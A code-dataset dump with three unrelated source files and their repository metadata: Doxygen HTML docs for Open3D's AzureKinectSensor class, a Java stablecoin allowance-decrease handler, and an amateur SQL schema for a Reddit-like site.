hexsha stringlengths 40 40 | size int64 5 1.05M | ext stringclasses 98
values | lang stringclasses 21
values | max_stars_repo_path stringlengths 3 945 | max_stars_repo_name stringlengths 4 118 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 945 | max_issues_repo_name stringlengths 4 118 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 134k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 945 | max_forks_repo_name stringlengths 4 135 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 1.05M | avg_line_length float64 1 1.03M | max_line_length int64 2 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
968fb6ca671861c6d3920648632f2c5b1bf2463c | 22,721 | html | HTML | docs/_out/html/cpp_api/classopen3d_1_1io_1_1_azure_kinect_sensor.html | avnishsachar/Open3D_homework_task | 56fb41c812b3e60c0a284abb13e6d196997575d8 | [
"MIT"
] | null | null | null | docs/_out/html/cpp_api/classopen3d_1_1io_1_1_azure_kinect_sensor.html | avnishsachar/Open3D_homework_task | 56fb41c812b3e60c0a284abb13e6d196997575d8 | [
"MIT"
] | null | null | null | docs/_out/html/cpp_api/classopen3d_1_1io_1_1_azure_kinect_sensor.html | avnishsachar/Open3D_homework_task | 56fb41c812b3e60c0a284abb13e6d196997575d8 | [
"MIT"
] | null | null | null | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.11"/>
<title>Open3D (C++ API): open3d::io::AzureKinectSensor Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { init_search(); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">Open3D (C++ API)
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.11 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="namespaces.html"><span>Namespaces</span></a></li>
<li class="current"><a href="annotated.html"><span>Data Structures</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Data Structures</span></a></li>
<li><a href="classes.html"><span>Data Structure Index</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Data Fields</span></a></li>
</ul>
</div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><a class="el" href="namespaceopen3d.html">open3d</a></li><li class="navelem"><a class="el" href="namespaceopen3d_1_1io.html">io</a></li><li class="navelem"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html">AzureKinectSensor</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#pub-methods">Public Member Functions</a> |
<a href="#pub-static-methods">Static Public Member Functions</a> |
<a href="#pro-methods">Protected Member Functions</a> |
<a href="#pro-attribs">Protected Attributes</a> |
<a href="#friends">Friends</a> </div>
<div class="headertitle">
<div class="title">open3d::io::AzureKinectSensor Class Reference</div> </div>
</div><!--header-->
<div class="contents">
<p><code>#include <<a class="el" href="_azure_kinect_sensor_8h_source.html">AzureKinectSensor.h</a>></code></p>
<div class="dynheader">
Inheritance diagram for open3d::io::AzureKinectSensor:</div>
<div class="dyncontent">
<div class="center">
<img src="classopen3d_1_1io_1_1_azure_kinect_sensor.png" usemap="#open3d::io::AzureKinectSensor_map" alt=""/>
<map id="open3d::io::AzureKinectSensor_map" name="open3d::io::AzureKinectSensor_map">
<area href="classopen3d_1_1io_1_1_r_g_b_d_sensor.html" alt="open3d::io::RGBDSensor" shape="rect" coords="0,0,185,24"/>
</map>
</div></div>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr class="memitem:a8af31567374ce68959784d6b8b570478"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a8af31567374ce68959784d6b8b570478">AzureKinectSensor</a> (const <a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor_config.html">AzureKinectSensorConfig</a> &sensor_config)</td></tr>
<tr class="separator:a8af31567374ce68959784d6b8b570478"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:abb16c4321f4b48afc5356b48879d2cf9"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#abb16c4321f4b48afc5356b48879d2cf9">~AzureKinectSensor</a> ()</td></tr>
<tr class="separator:abb16c4321f4b48afc5356b48879d2cf9"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a7394fbf97086407afd1dc964a9a34884"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a7394fbf97086407afd1dc964a9a34884">Connect</a> (size_t sensor_index) override</td></tr>
<tr class="separator:a7394fbf97086407afd1dc964a9a34884"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a280d48bfbac9770ce6efa7739f9631b7"><td class="memItemLeft" align="right" valign="top">std::shared_ptr< <a class="el" href="classopen3d_1_1geometry_1_1_r_g_b_d_image.html">geometry::RGBDImage</a> > </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a280d48bfbac9770ce6efa7739f9631b7">CaptureFrame</a> (bool enable_align_depth_to_color) const override</td></tr>
<tr class="separator:a280d48bfbac9770ce6efa7739f9631b7"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="inherit_header pub_methods_classopen3d_1_1io_1_1_r_g_b_d_sensor"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classopen3d_1_1io_1_1_r_g_b_d_sensor')"><img src="closed.png" alt="-"/> Public Member Functions inherited from <a class="el" href="classopen3d_1_1io_1_1_r_g_b_d_sensor.html">open3d::io::RGBDSensor</a></td></tr>
<tr class="memitem:a9c5e6ca41150d51e4379d7f56fcf8f6f inherit pub_methods_classopen3d_1_1io_1_1_r_g_b_d_sensor"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_r_g_b_d_sensor.html#a9c5e6ca41150d51e4379d7f56fcf8f6f">RGBDSensor</a> ()</td></tr>
<tr class="separator:a9c5e6ca41150d51e4379d7f56fcf8f6f inherit pub_methods_classopen3d_1_1io_1_1_r_g_b_d_sensor"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a1044af111d70b1c0b38cefcf516ca472 inherit pub_methods_classopen3d_1_1io_1_1_r_g_b_d_sensor"><td class="memItemLeft" align="right" valign="top">virtual </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_r_g_b_d_sensor.html#a1044af111d70b1c0b38cefcf516ca472">~RGBDSensor</a> ()</td></tr>
<tr class="separator:a1044af111d70b1c0b38cefcf516ca472 inherit pub_methods_classopen3d_1_1io_1_1_r_g_b_d_sensor"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-methods"></a>
Static Public Member Functions</h2></td></tr>
<tr class="memitem:a7d6b00e165488606e4a5a6df0517df5f"><td class="memItemLeft" align="right" valign="top">static bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a7d6b00e165488606e4a5a6df0517df5f">PrintFirmware</a> (_k4a_device_t *device)</td></tr>
<tr class="separator:a7d6b00e165488606e4a5a6df0517df5f"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a99c68d3305ccaaec329c4a9cf922898f"><td class="memItemLeft" align="right" valign="top">static bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a99c68d3305ccaaec329c4a9cf922898f">ListDevices</a> ()</td></tr>
<tr class="separator:a99c68d3305ccaaec329c4a9cf922898f"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a188fce7ff2201dbe82c4b9c53a638fdb"><td class="memItemLeft" align="right" valign="top">static std::shared_ptr< <a class="el" href="classopen3d_1_1geometry_1_1_r_g_b_d_image.html">geometry::RGBDImage</a> > </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a188fce7ff2201dbe82c4b9c53a638fdb">DecompressCapture</a> (_k4a_capture_t *capture, _k4a_transformation_t *transformation)</td></tr>
<tr class="separator:a188fce7ff2201dbe82c4b9c53a638fdb"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-methods"></a>
Protected Member Functions</h2></td></tr>
<tr class="memitem:a24847532d5dd92ce9b4a42e1d6a533ba"><td class="memItemLeft" align="right" valign="top">_k4a_capture_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a24847532d5dd92ce9b4a42e1d6a533ba">CaptureRawFrame</a> () const </td></tr>
<tr class="separator:a24847532d5dd92ce9b4a42e1d6a533ba"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-attribs"></a>
Protected Attributes</h2></td></tr>
<tr class="memitem:a80353a2cc36eb277c729496451ba2449"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor_config.html">AzureKinectSensorConfig</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a80353a2cc36eb277c729496451ba2449">sensor_config_</a></td></tr>
<tr class="separator:a80353a2cc36eb277c729496451ba2449"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a1177c773cca1eb83e81ebe1486a63740"><td class="memItemLeft" align="right" valign="top">_k4a_transformation_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a1177c773cca1eb83e81ebe1486a63740">transform_depth_to_color_</a></td></tr>
<tr class="separator:a1177c773cca1eb83e81ebe1486a63740"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a5866020db4ba95061c1b3cc6a2a03fad"><td class="memItemLeft" align="right" valign="top">_k4a_device_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a5866020db4ba95061c1b3cc6a2a03fad">device_</a></td></tr>
<tr class="separator:a5866020db4ba95061c1b3cc6a2a03fad"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a58f37e3c6ba21df043c6b02003c75fea"><td class="memItemLeft" align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#a58f37e3c6ba21df043c6b02003c75fea">timeout_</a></td></tr>
<tr class="separator:a58f37e3c6ba21df043c6b02003c75fea"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="friends"></a>
Friends</h2></td></tr>
<tr class="memitem:ad3f8d1d2d58cd250587e52536de6fb3c"><td class="memItemLeft" align="right" valign="top">class </td><td class="memItemRight" valign="bottom"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor.html#ad3f8d1d2d58cd250587e52536de6fb3c">AzureKinectRecorder</a></td></tr>
<tr class="separator:ad3f8d1d2d58cd250587e52536de6fb3c"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<h2 class="groupheader">Constructor & Destructor Documentation</h2>
<a class="anchor" id="a8af31567374ce68959784d6b8b570478"></a>
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">open3d::io::AzureKinectSensor::AzureKinectSensor </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor_config.html">AzureKinectSensorConfig</a> & </td>
<td class="paramname"><em>sensor_config</em></td><td>)</td>
<td></td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<a class="anchor" id="abb16c4321f4b48afc5356b48879d2cf9"></a>
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">open3d::io::AzureKinectSensor::~AzureKinectSensor </td>
<td>(</td>
<td class="paramname"></td><td>)</td>
<td></td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<h2 class="groupheader">Member Function Documentation</h2>
<a class="anchor" id="a280d48bfbac9770ce6efa7739f9631b7"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">std::shared_ptr< <a class="el" href="classopen3d_1_1geometry_1_1_r_g_b_d_image.html">geometry::RGBDImage</a> > open3d::io::AzureKinectSensor::CaptureFrame </td>
<td>(</td>
<td class="paramtype">bool </td>
<td class="paramname"><em>enable_align_depth_to_color</em></td><td>)</td>
<td> const</td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">override</span><span class="mlabel">virtual</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Capture one frame, return an RGBDImage. If </p><dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">enable_align_depth_to_color</td><td>is true, the depth image will be warped to align with the color image; otherwise the raw depth image output will be saved. Setting </td></tr>
<tr><td class="paramname">enable_align_depth_to_color</td><td>to false is useful when capturing at high resolution with high frame rates. </td></tr>
</table>
</dd>
</dl>
<p>Implements <a class="el" href="classopen3d_1_1io_1_1_r_g_b_d_sensor.html#a04d3b4f07b2643a1859a4256418a69e2">open3d::io::RGBDSensor</a>.</p>
</div>
</div>
<a class="anchor" id="a24847532d5dd92ce9b4a42e1d6a533ba"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">k4a_capture_t open3d::io::AzureKinectSensor::CaptureRawFrame </td>
<td>(</td>
<td class="paramname"></td><td>)</td>
<td> const</td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">protected</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<a class="anchor" id="a7394fbf97086407afd1dc964a9a34884"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">bool open3d::io::AzureKinectSensor::Connect </td>
<td>(</td>
<td class="paramtype">size_t </td>
<td class="paramname"><em>sensor_index</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">override</span><span class="mlabel">virtual</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Implements <a class="el" href="classopen3d_1_1io_1_1_r_g_b_d_sensor.html#a0652d7ab90c2c8898eecc5aa21c60ad2">open3d::io::RGBDSensor</a>.</p>
</div>
</div>
<a class="anchor" id="a188fce7ff2201dbe82c4b9c53a638fdb"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">std::shared_ptr< <a class="el" href="classopen3d_1_1geometry_1_1_r_g_b_d_image.html">geometry::RGBDImage</a> > open3d::io::AzureKinectSensor::DecompressCapture </td>
<td>(</td>
<td class="paramtype">_k4a_capture_t * </td>
<td class="paramname"><em>capture</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">_k4a_transformation_t * </td>
<td class="paramname"><em>transformation</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<a class="anchor" id="a99c68d3305ccaaec329c4a9cf922898f"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">bool open3d::io::AzureKinectSensor::ListDevices </td>
<td>(</td>
<td class="paramname"></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<a class="anchor" id="a7d6b00e165488606e4a5a6df0517df5f"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">bool open3d::io::AzureKinectSensor::PrintFirmware </td>
<td>(</td>
<td class="paramtype">_k4a_device_t * </td>
<td class="paramname"><em>device</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<h2 class="groupheader">Friends And Related Function Documentation</h2>
<a class="anchor" id="ad3f8d1d2d58cd250587e52536de6fb3c"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">friend class <a class="el" href="classopen3d_1_1io_1_1_azure_kinect_recorder.html">AzureKinectRecorder</a></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">friend</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<h2 class="groupheader">Field Documentation</h2>
<a class="anchor" id="a5866020db4ba95061c1b3cc6a2a03fad"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">_k4a_device_t* open3d::io::AzureKinectSensor::device_</td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">protected</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<a class="anchor" id="a80353a2cc36eb277c729496451ba2449"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="classopen3d_1_1io_1_1_azure_kinect_sensor_config.html">AzureKinectSensorConfig</a> open3d::io::AzureKinectSensor::sensor_config_</td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">protected</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<a class="anchor" id="a58f37e3c6ba21df043c6b02003c75fea"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">int open3d::io::AzureKinectSensor::timeout_</td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">protected</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<a class="anchor" id="a1177c773cca1eb83e81ebe1486a63740"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">_k4a_transformation_t* open3d::io::AzureKinectSensor::transform_depth_to_color_</td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">protected</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
<hr/>The documentation for this class was generated from the following files:<ul>
<li>/home/avnishsachar/Open3D/src/Open3D/IO/Sensor/AzureKinect/<a class="el" href="_azure_kinect_sensor_8h_source.html">AzureKinectSensor.h</a></li>
<li>/home/avnishsachar/Open3D/src/Open3D/IO/Sensor/AzureKinect/<a class="el" href="_azure_kinect_sensor_8cpp.html">AzureKinectSensor.cpp</a></li>
</ul>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.11
</small></address>
</body>
</html>
| 48.445629 | 478 | 0.687338 |
2a48341e734b3a4946e373a4aba1f4aab19bc816 | 1,903 | java | Java | src/main/java/com/hedera/hashgraph/stablecoin/app/handler/DecreaseAllowanceTransactionHandler.java | hashgraph/hedera-stable-coin | ded7e4d82d68c3379557138046d9792d9fe4053e | [
"Apache-2.0"
] | 4 | 2021-01-20T16:24:46.000Z | 2022-03-01T07:16:24.000Z | src/main/java/com/hedera/hashgraph/stablecoin/app/handler/DecreaseAllowanceTransactionHandler.java | hashgraph/hedera-stable-coin | ded7e4d82d68c3379557138046d9792d9fe4053e | [
"Apache-2.0"
] | 1 | 2020-12-01T23:19:30.000Z | 2020-12-02T13:47:35.000Z | src/main/java/com/hedera/hashgraph/stablecoin/app/handler/DecreaseAllowanceTransactionHandler.java | hashgraph/hedera-stable-coin | ded7e4d82d68c3379557138046d9792d9fe4053e | [
"Apache-2.0"
] | 5 | 2020-11-17T16:23:10.000Z | 2022-02-01T01:00:26.000Z | package com.hedera.hashgraph.stablecoin.app.handler;
import com.hedera.hashgraph.stablecoin.sdk.Address;
import com.hedera.hashgraph.stablecoin.app.State;
import com.hedera.hashgraph.stablecoin.app.Status;
import com.hedera.hashgraph.stablecoin.app.handler.arguments.DecreaseAllowanceTransactionArguments;
import com.hedera.hashgraph.stablecoin.proto.TransactionBody;
public final class DecreaseAllowanceTransactionHandler extends TransactionHandler<DecreaseAllowanceTransactionArguments> {
@Override
public DecreaseAllowanceTransactionArguments parseArguments(TransactionBody transactionBody) {
return new DecreaseAllowanceTransactionArguments(transactionBody);
}
@Override
protected void validatePre(State state, Address caller, DecreaseAllowanceTransactionArguments args) throws StableCoinPreCheckException {
// i. Owner != 0x
ensureOwnerSet(state);
// ii. value >= 0
ensureZeroOrGreater(args.value, Status.DECREASE_ALLOWANCE_VALUE_LESS_THAN_ZERO);
// iii. CheckTransferAllowed(caller)
ensureCallerTransferAllowed(state, caller);
// iv. CheckTransferAllowed(spender)
ensureTransferAllowed(state, args.spender, Status.DECREASE_ALLOWANCE_SPENDER_TRANSFER_NOT_ALLOWED);
// v. Allowances[caller][spender] >= value
ensureEqualOrGreater(
state.getAllowance(caller, args.spender),
args.value,
Status.DECREASE_ALLOWANCE_VALUE_EXCEEDS_ALLOWANCE
);
// vi. value <= MAX_INT
ensureLessThanMaxInt(args.value, Status.NUMBER_VALUES_LIMITED_TO_256_BITS);
}
@Override
protected void updateState(State state, Address caller, DecreaseAllowanceTransactionArguments args) {
// i. Allowances[caller][spender]’ = Allowances[caller][spender] - value
state.decreaseAllowanceOf(caller, args.spender, args.value);
}
}
| 41.369565 | 140 | 0.751445 |
aa6d4b8063c0142dde66873bbb8345e1a02befa0 | 10,189 | sql | SQL | src/gists-gihub/5c56d140273310233e37f2cef167f56f/reddit.sql | MrPivato/arquivos-de-procedencia-duvidosa | 62ee2cdef0d1b3a25566671411575db1916706f9 | [
"MIT"
] | null | null | null | src/gists-gihub/5c56d140273310233e37f2cef167f56f/reddit.sql | MrPivato/arquivos-de-procedencia-duvidosa | 62ee2cdef0d1b3a25566671411575db1916706f9 | [
"MIT"
] | null | null | null | src/gists-gihub/5c56d140273310233e37f2cef167f56f/reddit.sql | MrPivato/arquivos-de-procedencia-duvidosa | 62ee2cdef0d1b3a25566671411575db1916706f9 | [
"MIT"
] | null | null | null | CREATE DATABASE reddit;
USE reddit;
CREATE TABLE user (
id INT,
username VARCHAR(40),
senha VARCHAR(40),
postKarma INT,
commentKarma INT,
cakeDay DATE,
avatar VARCHAR(40), # diretorio/link para o arquivo
description TEXT,
banner VARCHAR(40),
category VARCHAR(40),
moderator VARCHAR(40),
communityVisibility BOOL,
contentVisibility BOOL,
flags VARCHAR(40),
numberOfPosts INT,
numberOfComments INT,
PRIMARY KEY (id)
);
CREATE TABLE subreddit (
id INT,
flags VARCHAR(40),
moderators VARCHAR(40),
postID INT,
rules TEXT,
subscribes INT,
PRIMARY KEY (id)
);
CREATE TABLE post (
id INT,
image TEXT,
video TEXT,
texto TEXT,
downvotes INT,
upvotes INT,
comments INT,
points INT,
links TEXT,
saves INT,
hide BOOL,
reports INT,
gold INT,
title TEXT,
PRIMARY KEY (id)
);
CREATE TABLE results (
id INT,
textO TEXT,
PRIMARY KEY (id)
);
CREATE TABLE private (
id INT,
whoSent VARCHAR(40),
whoReceive VARCHAR(40),
message TEXT,
PRIMARY KEY (id)
);
CREATE TABLE inbox (
id INT,
whoSent VARCHAR(40),
whoReceive VARCHAR(40),
message TEXT,
subredditID INT,
PRIMARY KEY (id)
);
CREATE TABLE unread (
id INT,
whoSent VARCHAR(40),
whoReceive VARCHAR(40),
message TEXT,
subredditID INT,
PRIMARY KEY (id)
);
CREATE TABLE direct (
id INT,
whoSent VARCHAR(40),
whoReceive VARCHAR(40),
message TEXT,
PRIMARY KEY (id)
);
CREATE TABLE room (
id INT,
userID INT,
message TEXT,
PRIMARY KEY (id)
);
CREATE TABLE comments (
id INT,
textO TEXT,
userID INT,
PRIMARY KEY (id)
);
CREATE TABLE savedPosts (
id INT,
postID INT,
PRIMARY KEY (id)
);
CREATE TABLE frontpage (
id INT,
postID INT,
PRIMARY KEY (id)
);
CREATE TABLE msg1 (
id INT,
whoReceive VARCHAR(40),
files TEXT,
message TEXT,
whoSent VARCHAR(40),
PRIMARY KEY (id)
);
CREATE TABLE msg2 (
id INT,
message TEXT,
files TEXT,
whoReceive VARCHAR(40),
whoSent VARCHAR(40),
PRIMARY KEY (id)
);
CREATE TABLE subscribe (
FK_user_id INT,
FK_subreddit_id INT
);
CREATE TABLE createSubReddit (
FK_user_id INT,
FK_subreddit_id INT
);
CREATE TABLE avaliar (
FK_user_id INT,
FK_post_id INT
);
CREATE TABLE ver (
FK_user_id INT,
FK_post_id INT
);
CREATE TABLE report (
FK_user_id INT,
FK_post_id INT
);
CREATE TABLE hide (
FK_user_id INT,
FK_post_id INT
);
CREATE TABLE createPost (
FK_user_id INT,
FK_post_id INT
);
CREATE TABLE save (
FK_user_id INT,
FK_post_id INT
);
CREATE TABLE giveGold (
FK_user_id INT,
FK_post_id INT
);
CREATE TABLE msg1 (
FK_user_id INT,
FK_private_id INT
);
CREATE TABLE msg3 (
FK_user_id INT,
FK_unread_id INT
);
CREATE TABLE chat2 (
FK_user_id INT,
FK_direct_id INT
);
CREATE TABLE msg2 (
FK_user_id INT,
FK_inbox_id INT
);
CREATE TABLE chat1 (
FK_user_id INT,
FK_room_id INT
);
CREATE TABLE comments (
FK_user_id INT,
FK_comments_id INT
);
CREATE TABLE search (
FK_user_id INT,
FK_results_id INT
);
CREATE TABLE escrever1 (
FK_room_id INT,
FK_msg1_id INT
);
CREATE TABLE ecrever2 (
FK_direct_id INT,
FK_msg2_id INT
);
CREATE TABLE postComment (
FK_post_id INT,
FK_comments_id INT
);
CREATE TABLE savePost (
FK_post_id INT,
FK_savedPosts_id INT
);
CREATE TABLE featured (
FK_frontpage_id INT,
FK_post_id INT
);
CREATE TABLE post (
FK_subreddit_id INT,
FK_post_id INT
);
